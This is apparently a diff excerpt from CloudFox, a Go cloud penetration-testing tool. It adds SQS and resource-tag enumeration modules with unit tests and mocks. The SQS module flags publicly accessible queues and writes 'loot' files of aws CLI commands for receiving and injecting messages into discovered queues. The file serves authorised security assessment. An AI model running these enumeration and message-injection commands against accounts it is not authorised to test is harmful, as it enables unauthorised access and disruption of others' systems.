// execute the module with verbosity = 2
m.PrintSNS("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sns.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭──────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────╮
│ ARN │ Public? │ Resource Policy Summary │
├──────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────┤
│ arn:aws:sns:us-east-1:123456789012:MyFirstTopic │ No │ Everyone can SNS:Publish │
│ │ │ -> Only when aws:sourceVpce = vpce-1a2b3c4d │
│ arn:aws:sns:us-west-2:123456789012:MySecondTopic │ No │ │
╰──────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
/// ########## Mocks ##########
// mockedSNSClient can return data about a hardcoded set of topics
type mockedSNSClient struct {
Topics map[string]map[string]string // map of topic ARNs to attributes (which are maps of string names to string values)
}
func (c *mockedSNSClient) ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error) {
out := sns.ListTopicsOutput{}
region := c.getRequestedRegion(optFns...)
for arn := range c.Topics {
if getRegionFromTopicARN(arn) != region {
continue
}
out.Topics = append(out.Topics, types.Topic{
TopicArn: aws.String(arn),
})
}
return &out, nil
}
func (c *mockedSNSClient) GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error) {
out := sns.GetTopicAttributesOutput{}
if params.TopicArn == nil {
return &out, nil
}
region := c.getRequestedRegion(optFns...)
out.Attributes = make(map[string]string)
for arn, attributes := range c.Topics {
if arn != *params.TopicArn {
continue
}
if getRegionFromTopicARN(arn) != region {
continue
}
for k, v := range attributes {
out.Attributes[k] = v
}
}
return &out, nil
}
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
var reGetRegionFromTopicARN = regexp.MustCompile(`arn:aws:sns:([a-z0-9-]+):[0-9]+:`)
func getRegionFromTopicARN(url string) string {
match := reGetRegionFromTopicARN.FindStringSubmatch(url)
if len(match) != 2 {
return ""
}
return match[1]
}
func (c *mockedSNSClient) getRequestedRegion(optFns ...func(*sns.Options)) string {
opts := &sns.Options{}
for _, optFn := range optFns {
optFn(opts)
}
return opts.Region
}
+428
View File
@@ -0,0 +1,428 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type SQSModule struct {
// General configuration data
SQSClient AWSSQSClient
StorePolicies bool
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Queues []Queue
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type AWSSQSClient interface {
ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error)
GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error)
}
type Queue struct {
URL string
Name string
Arn string
Region string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *SQSModule) PrintSQS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "sqs"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating SQS queues for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Queue)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Arn",
"Public?",
"Resource Policy Summary",
}
sort.SliceStable(m.Queues, func(i, j int) bool {
return m.Queues[i].URL < m.Queues[j].URL
})
// Table rows
for i := range m.Queues {
m.output.Body = append(
m.output.Body,
[]string{
m.Queues[i].Arn,
m.Queues[i].IsPublic,
m.Queues[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//m.output.OutputSelector(outputFormat)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s queues found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No queues found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sqs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *SQSModule) Receiver(receiver chan Queue, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Queues = append(m.Queues, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
}
lootCommandsFile := filepath.Join(path, "sqs-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, queue := range m.Queues {
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
out = out + fmt.Sprintf("# Queue: %s\n", queue.Name)
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
out = out + fmt.Sprintln("# Receive a message from the queue ")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. In production environments, use this command with caution")
out = out + fmt.Sprintln("# WARNING: and in coordination with application owners. Receiving a message does not delete it from the queue, but this action")
out = out + fmt.Sprintln("# WARNING: can potentially cause latency or it could DoS applications that consume the queue messages")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs receive-message --queue-url %s --attribute-names All --message-attribute-names All --max-number-of-messages 5 --visibility-timeout 0\n\n", queue.Region, queue.URL)
out = out + fmt.Sprintln("# Send a message to the queue without attributes file")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY]\"\n\n", queue.Region, queue.URL)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Send message to the queue with attributes file (You'll have to create and populate the file)")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", queue.Region, queue.URL)
}
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
}
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
ListQueues, err := m.listQueues(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, url := range ListQueues {
queue, err := m.getQueueWithAttributes(url, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
queue.IsPublic = "No"
if !queue.Policy.IsEmpty() {
m.analyseQueuePolicy(queue, dataReceiver)
} else {
// If the queue policy "resource policy" is empty, the only principals that have permisisons
// are those that are granted access by IAM policies
//queue.Access = "Private. Access allowed by IAM policies"
queue.Access = "Only intra-account access (via IAM) allowed"
dataReceiver <- *queue
}
}
}
func (m *SQSModule) listQueues(region string) ([]string, error) {
var PaginationControl *string
var queues []string
for {
ListQueues, err := m.SQSClient.ListQueues(
context.TODO(),
&sqs.ListQueuesInput{
MaxResults: aws.Int32(1000),
NextToken: PaginationControl,
},
func(o *sqs.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("ListQueues() failed: %s", err)
}
for _, url := range ListQueues.QueueUrls {
queues = append(queues, url)
}
// The "NextToken" value is nil when there's no more data to return.
if ListQueues.NextToken != nil {
PaginationControl = ListQueues.NextToken
} else {
PaginationControl = nil
break
}
}
return queues, nil
}
func (m *SQSModule) getQueueWithAttributes(queueURL string, region string) (*Queue, error) {
queue := &Queue{
URL: queueURL,
}
GetQueueAttributes, err := m.SQSClient.GetQueueAttributes(
context.TODO(),
&sqs.GetQueueAttributesInput{
QueueUrl: aws.String(queueURL),
AttributeNames: []types.QueueAttributeName{
types.QueueAttributeNamePolicy,
types.QueueAttributeNameQueueArn,
},
},
func(o *sqs.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("GetQueueAttributes(%s) failed: %s", queueURL, err)
}
if queueArn, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNameQueueArn)]; ok {
parsedArn, err := arn.Parse(queueArn)
if err != nil {
queue.Name = queueArn
}
queue.Arn = queueArn
queue.Name = parsedArn.Resource
queue.Region = parsedArn.Region
}
if policyJSON, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNamePolicy)]; ok {
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return nil, fmt.Errorf("parsing queue access policy (%s) as JSON: %s", queueURL, err)
}
queue.PolicyJSON = policyJSON
queue.Policy = policy
}
return queue, nil
}
func (m *SQSModule) analyseQueuePolicy(queue *Queue, dataReceiver chan Queue) {
m.storeAccessPolicy(queue)
if queue.Policy.IsPublic() && !queue.Policy.IsConditionallyPublic() {
queue.IsPublic = "YES"
}
for i, statement := range queue.Policy.Statement {
var prefix string = ""
if len(queue.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
queue.ResourcePolicySummary = queue.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
queue.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
queue.ResourcePolicySummary = strings.TrimSuffix(queue.ResourcePolicySummary, "\n")
}
dataReceiver <- *queue
}
func (m *SQSModule) storeAccessPolicy(queue *Queue) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getQueueName(queue.URL)))
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *SQSModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "sqs-policies")
}
func (m *SQSModule) getQueueName(url string) string {
tokens := strings.SplitN(url, "/", 5)
if len(tokens) != 5 {
return ""
}
return tokens[4]
}
func (m *SQSModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+144
View File
@@ -0,0 +1,144 @@
package aws
import (
"context"
"path/filepath"
"regexp"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
func TestSQSQueues(t *testing.T) {
c := &mockedSQSClient{
Queues: map[string]map[string]string{
"https://sqs.us-east-1.amazonaws.com/123456789012/policy-queue": {
string(types.QueueAttributeNamePolicy): `{"Version": "2012-10-17","Id": "anyID","Statement": [{"Sid":"unconditionally_public","Effect": "Allow","Principal": {"AWS": "*"},"Action": "sqs:*","Resource": "arn:aws:sqs:*:123456789012:some-queue"}]}`,
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:policy-queue`,
},
"https://sqs.us-west-1.amazonaws.com/123456789012/no-policy-queue": {
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:no-policy-queue`,
},
"https://sqs.us-east-1.amazonaws.com/123456789012/condition-queue": {
string(types.QueueAttributeNamePolicy): `{"Version":"2012-10-17","Id":"SQS-Account-Policy","Statement":[{"Sid":"Allows3Access","Effect":"Allow","Principal":{"Service":"s3.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowRoleAccess","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:root"},"Action":"SQS:*","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowFullAccess","Effect":"Allow","Principal":"*","Action":["SQS:SendMessage","SQS:ReceiveMessage"],"Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"}]}`,
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:condition-queue`,
},
},
}
m := SQSModule{
SQSClient: c,
AWSProfile: "unittesting",
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
Goroutines: 3,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
// execute the module with verbosity set to 2
m.PrintSQS("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sqs.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭────────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────────────────────────────────╮
│ Arn │ Public? │ Resource Policy Summary │
├────────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────────────────────────────────┤
│ arn:aws:sqs:us-east-1:123456789012:condition-queue │ YES │ Statement 0 says: s3.amazonaws.com can SQS:SendMessage │
│ │ │ Statement 1 says: arn:aws:iam::123456789012:root can SQS:* │
│ │ │ Statement 2 says: Everyone can SQS:SendMessage & can SQS:ReceiveMessage │
│ arn:aws:sqs:us-east-1:123456789012:policy-queue │ YES │ * can sqs:* │
│ arn:aws:sqs:us-east-1:123456789012:no-policy-queue │ No │ │
╰────────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────────────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
/// ########## Mocks ##########
// mockedSQSClient can return data about a hardcoded set of queues
type mockedSQSClient struct {
Queues map[string]map[string]string // map of queue URL to attributes (which are maps of string names to string values)
}
func (c *mockedSQSClient) ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error) {
out := sqs.ListQueuesOutput{}
region := getRequestedRegion(optFns...)
for url := range c.Queues {
if getRegionFromQueueURL(url) != region {
continue
}
out.QueueUrls = append(out.QueueUrls, url)
}
return &out, nil
}
func (c *mockedSQSClient) GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error) {
out := sqs.GetQueueAttributesOutput{}
if params.QueueUrl == nil {
return &out, nil
}
region := getRequestedRegion(optFns...)
out.Attributes = make(map[string]string)
for url, attributes := range c.Queues {
if url != *params.QueueUrl {
continue
}
if getRegionFromQueueURL(url) != region {
continue
}
for k, v := range attributes {
out.Attributes[k] = v
}
}
return &out, nil
}
// Example: https://sqs.us-east-1.amazonaws.com/123456789012/some-name
var reGetRegionFromQueueURL = regexp.MustCompile(`https://sqs.([a-z0-9-]+).amazonaws.com`)
func getRegionFromQueueURL(url string) string {
match := reGetRegionFromQueueURL.FindStringSubmatch(url)
if len(match) != 2 {
return ""
}
return match[1]
}
func getRequestedRegion(optFns ...func(*sqs.Options)) string {
opts := &sqs.Options{}
for _, optFn := range optFns {
optFn(opts)
}
return opts.Region
}
+321
View File
@@ -0,0 +1,321 @@
package aws
import (
"context"
"fmt"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type TagsGetResourcesAPI interface {
GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error)
}
type TagsModule struct {
// General configuration data
ResourceGroupsTaggingApiInterface TagsGetResourcesAPI
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
MaxResourcesPerRegion int
// Main module data
Tags []Tag
CommandCounter internal.CommandCounter
ResourceTypeCounts map[string]int
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Tag struct {
AWSService string
Region string
Arn string
Name string
Type string
Key string
Value string
}
func (m *TagsModule) PrintTags(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "tags"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating tags for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Tag)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Service",
"Region",
"Type",
//"Name",
//"Resource Arn",
"Key",
"Value",
}
sort.Slice(m.Tags, func(i, j int) bool {
return m.Tags[i].AWSService < m.Tags[j].AWSService
})
// Table rows
for i := range m.Tags {
m.output.Body = append(
m.output.Body,
[]string{
m.Tags[i].AWSService,
m.Tags[i].Region,
m.Tags[i].Type,
//m.Tags[i].Arn,
//m.Tags[i].Name,
m.Tags[i].Key,
m.Tags[i].Value,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
count := m.countUniqueResourcesWithTags()
fmt.Printf("[%s][%s] %d unique resources with tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), count)
if m.MaxResourcesPerRegion != 0 {
fmt.Printf("[%s][%s] NOTE: Only looked at %d resources per region. To enum all tags for all resources,\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.MaxResourcesPerRegion)
fmt.Printf("[%s][%s] NOTE: run the tags command without the -m/--max-resources-per-region flag set.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
} else {
fmt.Printf("[%s][%s] No tags found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *TagsModule) countUniqueResourcesWithTags() int {
var uniqueResources []string
for i := range m.Tags {
if !internal.Contains(m.Tags[i].Name, uniqueResources) {
uniqueResources = append(uniqueResources, m.Tags[i].Name)
}
}
//
return len(uniqueResources)
}
// TODO: Make summary table
// func (m *TagsModule) createTagsSummary() {
// var serviceMap map[string]map[string]int
// // var services []string
// // var totalRegionCounts map[string]int
// var uniqueResources []string
// var uniqueServiceTypes []string
// for i := range m.Tags {
// if !utils.Contains(m.Tags[i].Name, uniqueResources) {
// uniqueResources = append(uniqueResources, m.serviceMap[m.Tags[i].Name][m.])
// }
// if !utils.Contains(fmt.Sprintf("%s %s", m.Tags[i].AWSService, m.Tags[i].Type), uniqueServiceTypes) {
// uniqueServiceTypes = append(uniqueServiceTypes, fmt.Sprintf("%s %s", m.Tags[i].AWSService, m.Tags[i].Type))
// }
// }
// for j, resource := range uniqueResources {
// for k, ServiceType := range uniqueServiceTypes {
// if fmt.Sprintf("%s %s", resource[j].AWSService, m.Tags[i].Type). == ServiceType[k]
// }
// }
// }
func (m *TagsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
defer wg.Done()
m.CommandCounter.Total++
wg.Add(1)
m.getTagsPerRegion(r, wg, semaphore, dataReceiver)
}
func (m *TagsModule) Receiver(receiver chan Tag, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Tags = append(m.Tags, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
resources, err := m.getResources(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
//var parsedArn types.Arn
for _, resource := range resources {
var resourceType string
resourceArn := aws.ToString(resource.ResourceARN)
parsedArn, err := arn.Parse(resourceArn)
if parsedArn.Service != "s3" {
resourceType = strings.Split(parsedArn.Resource, ":")[0]
resourceType = strings.Split(resourceType, "/")[0]
} else {
resourceType = "bucket"
}
//resourceName := strings.Split(parsedArn.Resource, ":")[]
if err != nil {
break
}
for _, tag := range resource.Tags {
key := aws.ToString(tag.Key)
value := aws.ToString(tag.Value)
dataReceiver <- Tag{
AWSService: parsedArn.Service,
Arn: resourceArn,
Name: parsedArn.Resource,
Region: r,
Type: resourceType,
Key: key,
Value: value,
}
}
}
}
func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error) {
var PaginationControl *string
var resources []types.ResourceTagMapping
// a for loop that accepts user input. If no user input, it will continue to paginate until there are no mor pages. If there is user input, it will paginate until the user input is reached.
for {
if len(resources) < m.MaxResourcesPerRegion || m.MaxResourcesPerRegion == 0 {
GetResources, err := m.ResourceGroupsTaggingApiInterface.GetResources(
context.TODO(),
&resourcegroupstaggingapi.GetResourcesInput{
PaginationToken: PaginationControl,
},
func(o *resourcegroupstaggingapi.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return resources, err
}
resources = append(resources, GetResources.ResourceTagMappingList...)
if aws.ToString(GetResources.PaginationToken) != "" {
PaginationControl = GetResources.PaginationToken
} else {
PaginationControl = nil
break
}
} else {
return resources, nil
}
}
return resources, nil
}
+95
View File
@@ -0,0 +1,95 @@
package aws
import (
"context"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
type MockedTagsGetResources struct {
}
func (m *MockedTagsGetResources) GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error) {
testResources := []types.ResourceTagMapping{}
testResources = append(testResources, types.ResourceTagMapping{
